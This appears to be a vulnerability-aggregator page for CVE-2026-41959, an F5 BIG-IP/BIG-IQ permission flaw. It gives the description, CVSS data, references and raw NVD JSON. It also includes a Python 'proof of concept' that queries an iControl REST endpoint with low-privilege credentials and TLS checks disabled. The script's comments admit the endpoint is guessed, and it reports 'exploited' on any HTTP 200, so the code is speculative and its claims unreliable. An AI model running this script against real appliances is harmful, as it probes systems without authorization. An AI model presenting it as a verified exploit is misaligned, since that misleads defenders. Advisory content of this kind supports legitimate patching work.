CVE-2026-41959

Description

Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view the network status of destination systems. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (所有受支持版本，具体参考厂商公告K000161022)

F5 BIG-IQ (所有受支持版本，具体参考厂商公告K000161022)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-41959 Proof of Concept (Simulation)
# This script simulates an unauthorized attempt to access network diagnostics
# via iControl REST due to incorrect permission assignment.

import requests
import sys

# Configuration
TARGET_HOST = "https://<big-ip-management-ip>"
USERNAME = "low_priv_user"  # Low privilege user
PASSWORD = "password"

def exploit():
    # The endpoint for network status/diagnostics that should be restricted
    # Based on the vulnerability, this might be /mgmt/tm/net/ or similar diagnostics path
    url = f"{TARGET_HOST}/mgmt/tm/net/interface"

    try:
        print(f"[*] Attempting to access network diagnostics at {url}...")
        
        # Send request with basic auth using low-privilege credentials
        response = requests.get(
            url,
            auth=(USERNAME, PASSWORD),
            verify=False, # Ignore SSL certificate verification for testing
            timeout=10
        )

        if response.status_code == 200:
            print("[+] Success! Permission assignment vulnerability exploited.")
            print("[+] Leaked Network Status Information:")
            print(response.text)
        else:
            print(f"[-] Failed. Status Code: {response.status_code}")
            print("[-] The target might be patched or the endpoint is correctly restricted.")

    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41959
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41959
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41959/
[4] VulDB https://vuldb.com/cve/CVE-2026-41959
[5] https://my.f5.com/manage/s/article/K000161022

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41959", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:46.000", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view the network status of destination systems.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161022", "source": "[email protected]"}]}}